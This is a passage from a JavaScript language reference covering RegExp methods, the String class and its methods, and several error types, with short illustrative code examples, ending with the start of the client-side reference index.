The RegExp object represents a regular expression, a powerful tool for performing pattern matching on strings. See Chapter 10 for complete details on regular-expression syntax and use.

See Also

Chapter 10

RegExp.exec()

general-purpose pattern matching

Synopsis

regexp.exec(*string*)

Arguments

string
: The string to be searched.

Returns

An array containing the results of the match or `null` if no match was found. The format of the returned array is described below.

Throws

`TypeError`
: If this method is invoked on an object that is not a RegExp.

Description

`exec()` is the most powerful of all the RegExp and String pattern-matching methods. It is a general-purpose method that is somewhat more complex to use than `RegExp.test()`, `String.search()`, `String.replace()`, and `String.match()`.

`exec()` searches *string* for text that matches *regexp*. If it finds a match, it returns an array of results; otherwise, it returns `null`. Element 0 of the returned array is the matched text. Element 1 is the text that matched the first parenthesized subexpression, if any, within *regexp*. Element 2 contains the text that matched the second subexpression, and so on. The array `length` property specifies the number of elements in the array, as usual. In addition to the array elements and the `length` property, the value returned by `exec()` also has two other properties. The `index` property specifies the character position of the first character of the matched text. The `input` property refers to *string*. This returned array is the same as the array that is returned by the `String.match()` method, when invoked on a nonglobal RegExp object.

When `exec()` is invoked on a nonglobal pattern, it performs the search and returns the result described earlier. When *regexp* is a global regular expression, however, `exec()` behaves in a slightly more complex way. It begins searching *string* at the character position specified by the `lastIndex` property of *regexp*. When it finds a match, it sets `lastIndex` to the position of the first character after the match. This means that you can invoke `exec()` repeatedly in order to loop through all matches in a string. When `exec()` cannot find any more matches, it returns

null and resets lastIndex to zero. If you begin searching a new string immediately after successfully finding a match in another string, you must be careful to manually reset lastIndex to zero.

Note that exec() always includes full details of every match in the array it returns, whether or not *regexp* is a global pattern. This is where exec() differs from String.match(), which returns much less information when used with global patterns. Calling the exec() method repeatedly in a loop is the only way to obtain complete pattern-matching information for a global pattern.

Example

You can use exec() in a loop to find all matches within a string. For example:

```
var pattern = /\bJava\w*\b/g;
var text = "JavaScript is more fun than Java or JavaBeans!";
var result;
while((result = pattern.exec(text)) != null) {
    alert("Matched '" + result[0] +
          "' at position " + result.index +
          " next search begins at position " + pattern.lastIndex);
}
```

See Also

RegExp.lastIndex, RegExp.test(), String.match(), String.replace(), String.search(); Chapter 10

RegExp.global

whether a regular expression matches globally

Synopsis

regexp.global

Description

global is a read-only boolean property of RegExp objects. It specifies whether a particular regular expression performs global matching—i.e., whether it was created with the "g" attribute.

RegExp.ignoreCase

whether a regular expression is case-insensitive

Synopsis

regexp.ignoreCase

Description

`ignoreCase` is a read-only boolean property of RegExp objects. It specifies whether a particular regular expression performs case-insensitive matching—i.e., whether it was created with the "i" attribute.

RegExp.lastIndex

the starting position of the next match

Synopsis

regexp`.lastIndex`

Description

`lastIndex` is a read/write property of RegExp objects. For regular expressions with the "g" attribute set, it contains an integer that specifies the character position immediately following the last match found by the `RegExp.exec()` and `RegExp.test()` methods. These methods use this property as the starting point for the next search they conduct. This allows you to call those methods repeatedly, to loop through all matches in a string. Note that `lastIndex` is not used by RegExp objects that do not have the "g" attribute set and do not represent global patterns.

This property is read/write, so you can set it at any time to specify where in the target string the next search should begin. `exec()` and `test()` automatically reset `lastIndex` to 0 when they fail to find a match (or another match). If you begin to search a new string after a successful match of some other string, you have to explicitly set this property to 0.

See Also

`RegExp.exec()`, `RegExp.test()`

RegExp.source

the text of the regular expression

Synopsis

regexp`.source`

Description

`source` is a read-only string property of RegExp objects. It contains the text of the RegExp pattern. This text does not include the delimiting slashes used in regular-expression literals, and it does not include the "g", "i", and "m" attributes.

RegExp.test()

test whether a string matches a pattern

Synopsis

```
regexp.test(string)
```

Arguments

string
: The string to be tested.

Returns

`true` if *`string`* contains text that matches *`regexp`*; `false` otherwise.

Throws

`TypeError`
: If this method is invoked on an object that is not a RegExp.

Description

`test()` tests *`string`* to see if it contains text that matches *`regexp`*. If so, it returns `true`; otherwise, it returns `false`. Calling the `test()` method of a RegExp *`r`* and passing it the string *`s`* is equivalent to the following expression:

```
(r.exec(s) != null)
```

Example

```
var pattern = /java/i;
pattern.test("JavaScript");   // Returns true
pattern.test("ECMAScript");   // Returns false
```

See Also

`RegExp.exec()`, `RegExp.lastIndex`, `String.match()`, `String.replace()`, `String.substring()`; Chapter 10

RegExp.toString()

convert a regular expression to a string — Overrides Object.toString()

Synopsis

```
regexp.toString()
```

Returns

A string representation of *`regexp`*.

Throws

TypeError
: If this method is invoked on an object that is not a RegExp.

Description

The `RegExp.toString()` method returns a string representation of a regular expression in the form of a regular-expression literal.

Note that implementations are not required to add escape sequences to ensure that the returned string is a legal regular-expression literal. Consider the regular expression created by the expression `new RegExp("/","g")`. An implementation of `RegExp.toString()` could return `///g` for this regular expression; it could also add an escape sequence and return `/\//g`.

String

support for strings — Object → String

Constructor

```
new String(s) // Constructor function
String(s)     // Conversion function
```

Arguments

s
: The value to be stored in a String object or converted to a primitive string.

Returns

When `String()` is used as a constructor with the `new` operator, it returns a String object, which holds the string *s* or the string representation of *s*. When the `String()` constructor is used without the `new` operator, it simply converts *s* to a primitive string and returns the converted value.

Properties

`length`
: The number of characters in the string.

Methods

`charAt()`
: Extracts the character at a given position from a string.

`charCodeAt()`
: Returns the encoding of the character at a given position in a string.

`concat()`
: Concatenates one or more values to a string.

`indexOf()`
: Searches the string for a character or substring.

`lastIndexOf()`
: Searches the string backward for a character or substring.

`localeCompare()`
: Compares strings using locale-specific ordering.

`match()`
: Performs pattern matching with a regular expression.

`replace()`
: Performs a search-and-replace operation with a regular expression.

`search()`
: Searches a string for a substring that matches a regular expression.

`slice()`
: Returns a slice or substring of a string.

`split()`
: Splits a string into an array of strings, breaking at a specified delimiter string or regular expression.

`substr()`
: Extracts a substring of a string; a variant of `substring()`.

`substring()`
: Extracts a substring of a string.

`toLowerCase()`
: Returns a copy of the string, with all characters converted to lowercase.

`toString()`
: Returns the primitive string value.

`toUpperCase()`
: Returns a copy of the string, with all characters converted to uppercase.

`trim()`
: Returns a copy of the string with all leading and trailing whitespace removed.

`valueOf()`
: Returns the primitive string value.

Static Methods

`String.fromCharCode()`
: Creates a new string using the character codes passed as arguments.

HTML Methods

Since the earliest days of JavaScript, the String class has defined a number of methods that return a string modified by placing it within HTML tags. These methods have never been standardized by ECMAScript but can be useful in both client- and server-side JavaScript code that dynamically generates HTML. If you are willing to use nonstandard methods, you might create the HTML source for a bold, red hyperlink with code like this:

```
var s = "click here!";
var html = s.bold().link("javascript:alert('hello')").fontcolor("red");
```

Because these methods are not standardized, they do not have individual reference entries in the pages that follow:

`anchor(` *`name`* `)`
: Returns a copy of the string, in an `<a name=>` environment.

`big()`
: Returns a copy of the string, in a `<big>` environment.

`blink()`
: Returns a copy of the string, in a `<blink>` environment.

`bold()`
: Returns a copy of the string, in a `<b>` environment.

`fixed()`
: Returns a copy of the string, in a `<tt>` environment.

`fontcolor(` *`color`* `)`
: Returns a copy of the string, in a `<font color=>` environment.

`fontsize(` *`size`* `)`
: Returns a copy of the string, in a `<font size=>` environment.

`italics()`
: Returns a copy of the string, in an `<i>` environment.

`link(` *`url`* `)`
: Returns a copy of the string, in an `<a href=>` environment.

`small()`
: Returns a copy of the string, in a `<small>` environment.

`strike()`
: Returns a copy of the string, in a `<strike>` environment.

`sub()`
: Returns a copy of the string, in a `<sub>`

`sup()`
: Returns a copy of the string, in a `<sup>` environment.

Description

Strings are a primitive datatype in JavaScript. The String class type exists to provide methods for operating on primitive string values. The `length` property of a String object specifies the number of characters in the string. The String class defines a number of methods for operating on strings; for example, there are methods for extracting a character or a substring from the string or searching for a character or a substring. Note that JavaScript strings are *immutable*: none of the methods defined by the String class allows you to change the contents of a string. Instead, methods such as `String.toUpperCase()` return an entirely new string, without modifying the original.

In ECMAScript 5, and in many JavaScript implementations prior to ES5, strings behave like read-only arrays in which each element is a single-character string. For example, to extract

the third character from a string `s`, you can write `s[2]` instead of `s.charAt(2)`. When the `for/in` statement is applied to a string, it enumerates these array indexes for each character in the string.

See Also

Chapter 3

String.charAt()

get the 'n'th character from a string

Synopsis

string`.charAt(`*n*`)`

Arguments

n

The index of the character that should be returned from *string*.

Returns

The *n*th character of *string*.

Description

`String.charAt()` returns the *n*th character of the string *string*. The first character of the string is numbered 0. If *n* is not between 0 and *string*`.length`–1, this method returns an empty string. Note that JavaScript does not have a character data type that is distinct from the string type, so the returned character is a string of length 1.

See Also

`String.charCodeAt()`, `String.indexOf()`, `String.lastIndexOf()`

String.charCodeAt()

get the nth character code from a string

Synopsis

string`.charCodeAt(`*n*`)`

Arguments

n

The index of the character whose encoding is to be returned.

Returns

The Unicode encoding of the *n*th character within *string*. This return value is a 16-bit integer between 0 and 65535.

Description

`charCodeAt()` is like `charAt()`, except that it returns the character encoding at a specific location, rather than returning a substring that contains the character itself. If *n* is negative or greater than or equal to the string length, `charCodeAt()` returns `NaN`.

See `String.fromCharCode()` for a way to create a string from Unicode encodings.

See Also

`String.charAt()`, `String.fromCharCode()`

String.concat()

concatenate strings

Synopsis

```
string.concat(value, ...)
```

Arguments

value, ...
: One or more values to be concatenated to *string*.

Returns

A new string that results from concatenating each of the arguments to *string*.

Description

`concat()` converts each of its arguments to a string (if necessary) and appends them, in order, to the end of *string*. It returns the resulting concatenation. Note that *string* itself is not modified.

`String.concat()` is an analog to `Array.concat()`. Note that it is often easier to use the `+` operator to perform string concatenation.

See Also

`Array.concat()`

String.fromCharCode()

create a string from character encodings

Synopsis

```
String.fromCharCode(c1, c2, ...)
```

Arguments

c1, c2, ...
: Zero or more integers that specify the Unicode encodings of the characters in the string to be created.

Returns

A new string containing characters with the specified encodings.

Description

This static method provides a way to create a string by specifying the individual numeric Unicode encodings of its characters. Note that as a static method, `fromCharCode()` is a property of the `String()` constructor and is not actually a method of strings or String objects.

`String.charCodeAt()` is a companion instance method that provides a way to obtain the encodings of the individual characters of a string.

Example

```
// Create the string "hello"
var s = String.fromCharCode(104, 101, 108, 108, 111);
```

See Also

`String.charCodeAt()`

String.indexOf()

search a string

Synopsis

```
string.indexOf(substring)
string.indexOf(substring, start)
```

Arguments

`substring`
: The substring that is to be searched for within *`string`*.

`start`
: An optional integer argument that specifies the position within *`string`* at which the search is to start. Legal values are 0 (the position of the first character in the string) to *`string`* `.length`–1 (the position of the last character in the string). If this argument is omitted, the search begins at the first character of the string.

Returns

The position of the first occurrence of *`substring`* within *`string`* that appears after the *`start`* position, if any, or –1 if no such occurrence is found.

Description

`String.indexOf()` searches the string *`string`* from beginning to end to see if it contains an occurrence of *`substring`*. The search begins at position *`start`* within *`string`*, or at the beginning of *`string`* if *`start`* is not specified. If an occurrence of *`substring`* is found, `String.indexOf()` returns the position of the first character of the first occurrence of *`substring`* within *`string`*. Character positions within *`string`* are numbered starting with zero.

If no occurrence of *substring* is found within *string*, `String.indexOf()` returns –1.

See Also

`String.charAt()`, `String.lastIndexOf()`, `String.substring()`

String.lastIndexOf()

search a string backward

Synopsis

```
string.lastIndexOf(substring)
string.lastIndexOf(substring, start)
```

Arguments

substring
: The substring to be searched for within *string*.

start
: An optional integer argument that specifies the position within *string* where the search is to start. Legal values are from 0 (the position of the first character in the string) to *string* `.length`–1 (the position of the last character in the string). If this argument is omitted, the search begins with the last character of the string.

Returns

The position of the last occurrence of *substring* within *string* that appears before the *start* position, if any, or –1 if no such occurrence is found within *string*.

Description

`String.lastIndexOf()` searches the string from end to beginning to see if it contains an occurrence of *substring*. The search begins at position *start* within *string*, or at the end of *string* if *start* is not specified. If an occurrence of *substring* is found, `String.lastIndexOf()` returns the position of the first character of that occurrence. Since this method searches from end to beginning of the string, the first occurrence found is the last one in the string that occurs before the *start* position.

If no occurrence of *substring* is found, `String.lastIndexOf()` returns –1.

Note that although `String.lastIndexOf()` searches *string* from end to beginning, it still numbers character positions within *string* from the beginning. The first character of the string has position 0, and the last has position *string* `.length`–1.

See Also

`String.charAt()`, `String.indexOf()`, `String.substring()`

String.length

the length of a string

Synopsis

string.length

Description

The `String.length` property is a read-only integer that indicates the number of characters in the specified *string*. For any string *s*, the index of the last character is *s* `.length`–1. The `length` property of a string is not enumerated by a `for/in` loop and may not be deleted with the `delete` operator.

String.localeCompare()

compare one string to another, using locale-specific ordering

Synopsis

string.localeCompare(*target*)

Arguments

target
: A `string` to be compared, in a locale-sensitive fashion, with *string*.

Returns

A number that indicates the result of the comparison. If *string* is "less than" *target*, `localeCompare()` returns a number less than zero. If *string* is "greater than" *target*, the method returns a number greater than zero. And if the strings are identical or indistinguishable according to the locale ordering conventions, the method returns 0.

Description

When the < and > operators are applied to strings, they compare those strings using only the Unicode encodings of those characters and do not consider the collation order of the current locale. The ordering produced in this way is not always correct. Consider Spanish, for example, in which the letters "ch" are traditionally sorted as if they were a single letter that appeared between the letters "c" and "d".

`localeCompare()` provides a way to compare strings that does take the collation order of the default locale into account. The ECMAScript standard does not specify how the locale-specific comparison is done; it merely specifies that this function utilize the collation order provided by the underlying operating system.

Example

You can use code like the following to sort an array of strings into a locale-specific ordering:

```
var strings;  // The array of strings to sort; initialized elsewhere
strings.sort(function(a,b) { return a.localeCompare(b) });
```

String.match()

find one or more regular-expression matches

Synopsis

string.match(*regexp*)

Arguments

regexp
: A RegExp object that specifies the pattern to be matched. If this argument is not a RegExp, it is first converted to one by passing it to the `RegExp()` constructor.

Returns

An array containing the results of the match. The contents of the array depend on whether *regexp* has the global "g" attribute set. Details on this return value are given in the Description.

Description

`match()` searches *string* for one or more matches of *regexp*. The behavior of this method depends significantly on whether *regexp* has the "g" attribute or not (see Chapter 10 for full details on regular expressions).

If *regexp* does not have the "g" attribute, `match()` searches *string* for a single match. If no match is found, `match()` returns `null`. Otherwise, it returns an array containing information about the match that it found. Element 0 of the array contains the matched text. The remaining elements contain the text that matches any parenthesized subexpressions within the regular expression. In addition to these normal array elements, the returned array also has two object properties. The `index` property of the array specifies the character position within *string* of the start of the matched text. Also, the `input` property of the returned array is a reference to *string* itself.

If *regexp* has the "g" flag, `match()` does a global search, searching *string* for all matching substrings. It returns `null` if no match is found, and it returns an array if one or more matches are found. The contents of this returned array are quite different for global matches, however. In this case, the array elements contain each of the matched substrings within *string*. The returned array does not have `index` or `input` properties in this case. Note that for global matches, `match()` does not provide information about parenthesized subexpressions, nor does it specify where within *string* each match occurred. If you need to obtain this information for a global search, you can use `RegExp.exec()`.

Example

The following global match finds all numbers within a string:

```
"1 plus 2 equals 3".match(/\d+/g)  // Returns ["1", "2", "3"]
```

The following nonglobal match uses a more complex regular expression with several parenthesized subexpressions. It matches a URL, and its subexpressions match the protocol, host, and path portions of the URL:

```
var url = /(\w+):\/\/([\w.]+)\/(\S*)/;
var text = "Visit my home page at http://www.isp.com/~david";
```

```
var result = text.match(url);
if (result != null) {
    var fullurl = result[0];   // Contains "http://www.isp.com/~david"
    var protocol = result[1];  // Contains "http"
    var host = result[2];      // Contains "www.isp.com"
    var path = result[3];      // Contains "~david"
}
```

See Also

RegExp, RegExp.exec(), RegExp.test(), String.replace(), String.search(); Chapter 10

String.replace()

replace substring(s) matching a regular expression

Synopsis

string.replace(*regexp*, *replacement*)

Arguments

regexp
: The RegExp object that specifies the pattern to be replaced. If this argument is a string, it is used as a literal text pattern to be searched for; it is not first converted to a RegExp object.

replacement
: A string that specifies the replacement text, or a function that is invoked to generate the replacement text. See the Description section for details.

Returns

A new string, with the first match, or all matches, of *regexp* replaced with *replacement*.

Description

replace() performs a search-and-replace operation on *string*. It searches *string* for one or more substrings that match *regexp* and replaces them with *replacement*. If *regexp* has the global "g" attribute specified, replace() replaces all matching substrings. Otherwise, it replaces only the first matching substring.

replacement may be a string or a function. If it is a string, each match is replaced by the string. Note that the $ character has special meaning within the *replacement* string. As shown in the following table, it indicates that a string derived from the pattern match is used in the replacement.

Characters	Replacement
$1, $2, ..., $99	The text that matched the 1st through 99th parenthesized subexpression within *regexp*
$&	The substring that matched *regexp*
$'	The text to the left of the matched substring
$'	The text to the right of the matched substring
$$	A literal dollar sign

ECMAScript v3 specifies that the *replacement* argument to `replace()` may be a function instead of a string. In this case, the function is invoked for each match, and the string it returns is used as the replacement text. The first argument to the function is the string that matches the pattern. The next arguments are the strings that match any parenthesized subexpressions within the pattern; there may be zero or more of these arguments. The next argument is an integer that specifies the position within *string* at which the match occurred, and the final argument to the *replacement* function is *string* itself.

Download from Wow! eBook <www.wowebook.com>

Example

To ensure that the capitalization of the word "JavaScript" is correct:

```
text.replace(/javascript/i, "JavaScript");
```

To convert a single name from "Doe, John" format to "John Doe" format:

```
name.replace(/(\w+)\s*,\s*(\w+)/, "$2 $1");
```

To replace all double quotes with double back and forward single quotes:

```
text.replace(/"([^"]*)"/g, "''$1''");
```

To capitalize the first letter of all words in a string:

```
text.replace(/\b\w+\b/g, function(word) {
                           return word.substring(0,1).toUpperCase() +
                                  word.substring(1);
                         });
```

See Also

`RegExp`, `RegExp.exec()`, `RegExp.test()`, `String.match()`, `String.search()`; Chapter 10

String.search()

search for a regular expression

Synopsis

string`.search(`*regexp*`)`

Arguments

regexp

A RegExp object that specifies the pattern to be searched for in *string*. If this argument is not a RegExp, it is first converted to one by passing it to the `RegExp()` constructor.

Returns

The position of the start of the first substring of *string* that matches *regexp*, or –1 if no match is found.

Description

`search()` looks for a substring matching *regexp* within *string* and returns the position of the first character of the matching substring, or –1 if no match was found.

`search()` does not do global matches; it ignores the `g` flag. It also ignores the `lastIndex` property of *regexp* and always searches from the beginning of the string, which means that it always returns the position of the first match in *string*.

Example

```
var s = "JavaScript is fun";
s.search(/script/i)  // Returns 4
s.search(/a(.)a/)    // Returns 1
```

See Also

`RegExp`, `RegExp.exec()`, `RegExp.test()`, `String.match()`, `String.replace()`; Chapter 10

String.slice()

extract a substring

Synopsis

string`.slice(`*start*`, `*end*`)`

Arguments

start

The string index where the slice is to begin. If negative, this argument specifies a position measured from the end of the string. That is, –1 indicates the last character, –2 indicates the second from last character, and so on.

end

The string index immediately after the end of the slice. If not specified, the slice includes all characters from *start* to the end of the string. If this argument is negative, it specifies a position measured from the end of the string.

Returns

A new string that contains all the characters of *string* from and including *start*, and up to but not including *end*.

Description

`slice()` returns a string containing a slice, or substring, of *string*. It does not modify *string*.

The String methods `slice()`, `substring()`, and the deprecated `substr()` all return specified portions of a string. `slice()` is more flexible than `substring()` because it allows negative ar-

gument values. `slice()` differs from `substr()` in that it specifies a substring with two character positions, while `substr()` uses one position and a length. Note also that `String.slice()` is an analog of `Array.slice()`.

Example

```
var s = "abcdefg";
s.slice(0,4)    // Returns "abcd"
s.slice(2,4)    // Returns "cd"
s.slice(4)      // Returns "efg"
s.slice(3,-1)   // Returns "def"
s.slice(3,-2)   // Returns "de"
s.slice(-3,-1)  // Should return "ef"; returns "abcdef" in IE 4
```

Bugs

Negative values for *start* do not work in Internet Explorer 4 (but they do in later versions of IE). Instead of specifying a character position measured from the end of the string, they specify character position 0.

See Also

`Array.slice()`, `String.substring()`

String.split()

break a string into an array of strings

Synopsis

string.split(*delimiter*, *limit*)

Arguments

delimiter
: The string or regular expression at which the *string* splits.

limit
: This optional integer specifies the maximum length of the returned array. If specified, no more than this number of substrings will be returned. If not specified, the entire string will be split, regardless of its length.

Returns

An array of strings, created by splitting *string* into substrings at the boundaries specified by *delimiter*. The substrings in the returned array do not include *delimiter* itself, except in the case noted in the Description.

Description

The `split()` method creates and returns an array of as many as *limit* substrings of the specified string. These substrings are created by searching the string from start to end for text that matches *delimiter* and breaking the string before and after that matching text. The delimiting text is not included in any of the returned substrings, except as noted at the end of this section.

Note that if the delimiter matches the beginning of the string, the first element of the returned array will be an empty string—the text that appears before the delimiter. Similarly, if the delimiter matches the end of the string, the last element of the array (assuming no conflicting *limit*) will be the empty string.

If no *delimiter* is specified, the string is not split at all, and the returned array contains only a single, unbroken string element. If *delimiter* is the empty string or a regular expression that matches the empty string, the string is broken between each character, and the returned array has the same length as the string does, assuming no smaller *limit* is specified. (Note that this is a special case because the empty strings before the first character and after the last character are not matched.)

As noted earlier, the substrings in the array returned by this method do not contain the delimiting text used to split the string. However, if *delimiter* is a regular expression that contains parenthesized subexpressions, the substrings that match those parenthesized subexpressions (but not the text that matches the regular expression as a whole) are included in the returned array.

Note that the `String.split()` method is the inverse of the `Array.join()` method.

Example

The `split()` method is most useful when you are working with highly structured strings. For example:

```
"1:2:3:4:5".split(":");  // Returns ["1","2","3","4","5"]
"|a|b|c|".split("|");    // Returns ["", "a", "b", "c", ""]
```

Another common use of the `split()` method is to parse commands and similar strings by breaking them down into words delimited by spaces:

```
var words = sentence.split(' ');
```

It is easier to split a string into words using a regular expression as a delimiter:

```
var words = sentence.split(/\s+/);
```

To split a string into an array of characters, use the empty string as the delimiter. Use the *limit* argument if you only want to split a prefix of the string into an array of characters:

```
"hello".split("");     // Returns ["h","e","l","l","o"]
"hello".split("", 3);  // Returns ["h","e","l"]
```

If you want the delimiters or one or more portions of the delimiter included in the returned array, use a regular expression with parenthesized subexpressions. For example, the following code breaks a string at HTML tags and includes those tags in the returned array:

```
var text = "hello <b>world</b>";
text.split(/(<[^>]*>)/);  // Returns ["hello ","<b>","world","</b>",""]
```

See Also

`Array.join()`, `RegExp`; Chapter 10

String.substr() **deprecated**

extract a substring

Synopsis

string.substr(*start*, *length*)

Arguments

start
: The start position of the substring. If this argument is negative, it specifies a position measured from the end of the string: –1 specifies the last character, –2 specifies the second-to-last character, and so on.

length
: The number of characters in the substring. If this argument is omitted, the returned substring includes all characters from the starting position to the end of the string.

Returns

A copy of the portion of *string* starting at and including the character specified by *start* and continuing for *length* characters, or to the end of the string if *length* is not specified.

Description

substr() extracts and returns a substring of *string*. It does not modify *string*.

Note that substr() specifies the desired substring with a character position and a length. This provides a useful alternative to String.substring() and String.splice(), which specify a substring with two character positions. Note, however, that this method has not been standardized by ECMAScript and is therefore deprecated.

Example

```
var s = "abcdefg";
s.substr(2,2);   // Returns "cd"
s.substr(3);     // Returns "defg"
s.substr(-3,2);  // Should return "ef"; returns "ab" in IE 4
```

Bugs

Negative values for start do not work in IE. Instead of specifying a character position measured from the end of the string, they specify character position 0.

See Also

String.slice(), String.substring()

String.substring()

return a substring of a string

Synopsis

string.substring(*from*, *to*)

Arguments

from
: A nonnegative integer that specifies the position within *string* of the first character of the desired substring.

to
: A nonnegative optional integer that is one greater than the position of the last character of the desired substring. If this argument is omitted, the returned substring runs to the end of the string.

Returns

A new string, of length *to-from*, which contains a substring of *string*. The new string contains characters copied from positions *from* to *to*–1 of *string*.

Description

`String.substring()` returns a substring of *string* consisting of the characters between positions *from* and *to*. The character at position *from* is included, but the character at position *to* is not included.

If *from* equals *to*, this method returns an empty (length 0) string. If *from* is greater than *to*, this method first swaps the two arguments and then returns the substring between them.

It is important to remember that the character at position *from* is included in the substring but that the character at position *to* is not included in the substring. While this may seem arbitrary or counterintuitive, a notable feature of this system is that the length of the returned substring is always equal to *to-from*.

Note that `String.slice()` and the nonstandard `String.substr()` can also extract substrings from a string. Unlike those methods, `String.substring()` does not accept negative arguments.

See Also

`String.charAt()`, `String.indexOf()`, `String.lastIndexOf()`, `String.slice()`, `String.substr()`

String.toLocaleLowerCase()

convert a string to lowercase

Synopsis

```
string.toLocaleLowerCase()
```

Returns

A copy of *string*, converted to lowercase letters in a locale-specific way. Only a few languages, such as Turkish, have locale-specific case mappings, so this method usually returns the same value as `toLowerCase()`.

See Also

`String.toLocaleUpperCase()`, `String.toLowerCase()`, `String.toUpperCase()`

String.toLocaleUpperCase()

convert a string to uppercase

Synopsis

string.toLocaleUpperCase()

Returns

A copy of *string*, converted to uppercase letters in a locale-specific way. Only a few languages, such as Turkish, have locale-specific case mappings, so this method usually returns the same value as toUpperCase().

See Also

String.toLocaleLowerCase(), String.toLowerCase(), String.toUpperCase()

String.toLowerCase()

convert a string to lowercase

Synopsis

string.toLowerCase()

Returns

A copy of *string*, with each uppercase letter converted to its lowercase equivalent, if it has one.

String.toString()

return the string — Overrides Object.toString()

Synopsis

string.toString()

Returns

The primitive string value of *string*. It is rarely necessary to call this method.

Throws

TypeError
: If this method is invoked on an object that is not a String.

See Also

String.valueOf()

String.toUpperCase()

convert a string to uppercase

Synopsis

```
string.toUpperCase()
```

Returns

A copy of *string*, with each lowercase letter converted to its uppercase equivalent, if it has one.

String.trim()

ECMAScript 5

strip leading and trailing whitespace

Synopsis

```
string.trim()
```

Returns

A copy of *string*, with all leading and trailing whitespace removed.

See Also

`String.replace()`

String.valueOf()

return the string

Overrides Object.valueOf()

Synopsis

```
string.valueOf()
```

Returns

The primitive string value of *string*.

Throws

`TypeError`
: If this method is invoked on an object that is not a String.

See Also

`String.toString()`

SyntaxError

thrown to signal a syntax error

Object → Error → SyntaxError

Constructor

```
new SyntaxError()
new SyntaxError(message)
```

Arguments

message
: An optional error message that provides details about the exception. If specified, this argument is used as the value for the `message` property of the SyntaxError object.

Returns

A newly constructed SyntaxError object. If the *message* argument is specified, the Error object uses it as the value of its `message` property; otherwise, it uses an implementation-defined default string as the value of that property. When the `SyntaxError()` constructor is called as a function, without the `new` operator, it behaves just as it does when called with the `new` operator.

Properties

`message`
: An error message that provides details about the exception. This property holds the string passed to the constructor, or an implementation-defined default string. See `Error.message` for details.

`name`
: A string that specifies the type of the exception. All SyntaxError objects inherit the value "SyntaxError" for this property.

Description

An instance of the SyntaxError class is thrown to signal a syntax error in JavaScript code. The `eval()` method, the `Function()` constructor, and the `RegExp()` constructor may all throw exceptions of this type. See `Error` for details about throwing and catching exceptions.

See Also

`Error`, `Error.message`, `Error.name`

TypeError

thrown when a value is of the wrong type — Object → Error → TypeError

Constructor

```
new TypeError()
new TypeError(message)
```

Arguments

message
: An optional error message that provides details about the exception. If specified, this argument is used as the value for the `message` property of the TypeError object.

Returns

A newly constructed TypeError object. If the *message* argument is specified, the Error object uses it as the value of its `message` property; otherwise, it uses an implementation-defined

default string as the value of that property. When the `TypeError()` constructor is called as a function, without the `new` operator, it behaves just as it does when called with the `new` operator.

Properties

`message`
: An error message that provides details about the exception. This property holds the string passed to the constructor, or an implementation-defined default string. See `Error.message` for details.

`name`
: A string that specifies the type of the exception. All TypeError objects inherit the value "TypeError" for this property.

Description

An instance of the TypeError class is thrown when a value is not of the type expected. This happens most often when you attempt to access a property of a `null` or `undefined` value. It can also occur if you invoke a method defined by one class on an object that is an instance of some other class, or if you use the `new` operator with a value that is not a constructor function, for example. JavaScript implementations are also permitted to throw TypeError objects when a built-in function or method is called with more arguments than expected. See `Error` for details about throwing and catching exceptions.

See Also

`Error`, `Error.message`, `Error.name`

undefined

the undefined value

Synopsis

```
undefined
```

Description

`undefined` is a global property that holds the JavaScript `undefined` value. This is the same value that is returned when you attempt to read the value of a nonexistent object property. The `undefined` property is not enumerated by `for/in` loops and cannot be deleted with the `delete` operator. Note that `undefined` is not a constant and can be set to any other value, something that you should take care not to do.

When testing a value to see whether it is undefined, use the `===` operator, because the `==` operator treats the `undefined` value as equal to `null`.

unescape() deprecated

decode an escaped string

Synopsis

```
unescape(s)
```

Arguments

s

The string that is to be decoded or "unescaped."

Returns

A decoded copy of *s*.

Description

`unescape()` is a global function that decodes a string encoded with `escape()`. It decodes *s* by finding and replacing character sequences of the form `%` *xx* and `%u` *xxxx* (where *x* represents a hexadecimal digit) with the Unicode characters `\u00` *xx* and `\u` *xxxx*.

Although `unescape()` was standardized in the first version of ECMAScript, it has been deprecated and removed from the standard by ECMAScript v3. Implementations of ECMAScript are likely to implement this function, but they are not required to. You should use `decodeURI()` and `decodeURIComponent()` instead of `unescape()`. See `escape()` for more details and an example.

See Also

`decodeURI()`, `decodeURIComponent()`, `escape()`, `String`

URIError

thrown by URI encoding and decoding methods — Object → Error → URIError

Constructor

```
new URIError()
new URIError(message)
```

Arguments

message

An optional error message that provides details about the exception. If specified, this argument is used as the value for the `message` property of the URIError object.

Returns

A newly constructed URIError object. If the *message* argument is specified, the Error object uses it as the value of its `message` property; otherwise, it uses an implementation-defined default string as the value of that property. When the `URIError()` constructor is called as a function without the `new` operator, it behaves just as it does when called with the `new` operator.

Properties

`message`

An error message that provides details about the exception. This property holds the string passed to the constructor, or an implementation-defined default string. See `Error.message` for details.

`name`

A string that specifies the type of the exception. All URIError objects inherit the value "URIError" for this property.

Description

An instance of the URIError class is thrown by `decodeURI()` and `decodeURIComponent()` if the specified string contains illegal hexadecimal escapes. It can also be thrown by `encodeURI()` and `encodeURIComponent()` if the specified string contains illegal Unicode surrogate pairs. See `Error` for details about throwing and catching exceptions.

See Also

`Error`, `Error.message`, `Error.name`

PART IV

Client-Side JavaScript Reference

This part of the book is a reference to client-side JavaScript. It includes entries for important client-side JavaScript object such as `Window`, `Document`, `Element`, `Event`, `XMLHttpRequest`, `Storage`, `Canvas`, and `File`. There is also an entry for the `jQuery` library. The entries are arranged alphabetically by object name and each entry includes a complete list of the constants, properties, methods and event handlers supported by that object.

Previous editions of this book included a separate reference entry for each method, but in this edition, the reference material is made more compact (without omitting details) by including the method descriptions directly in the parent entry.

ApplicationCache
ArrayBuffer
ArrayBufferView
Attr
Audio
BeforeUnloadEvent
Blob
BlobBuilder
Button
Canvas
CanvasGradient
CanvasPattern
CanvasRenderingContext2D
ClientRect
CloseEvent
Comment
Console
ConsoleCommandLine
CSSRule
CSSStyleDeclaration
CSSStyleSheet
DataTransfer
DataView
Document
DocumentFragment
DocumentType
DOMException
DOMImplementation
DOMSettableTokenList
DOMTokenList
Element
ErrorEvent
Event
EventSource
EventTarget
FieldSet
File
FileError
FileReader
FileReaderSync
Form
FormControl
FormData
FormValidity
Geocoordinates
Geolocation
GeolocationError
Geoposition
HashChangeEvent
History
HTMLCollection
HTMLFormControlsCollection
HTMLOptionsCollection
IFrame
Image
ImageData
Input
jQuery
Label
Link
Location
MediaElement
MediaError
MessageChannel
MessageEvent
MessagePort
Meter
Navigator
Node
NodeList
Option
Output
PageTransitionEvent
PopStateEvent
ProcessingInstruction
Progress
ProgressEvent
Screen
Script
Select
Storage
StorageEvent
Style
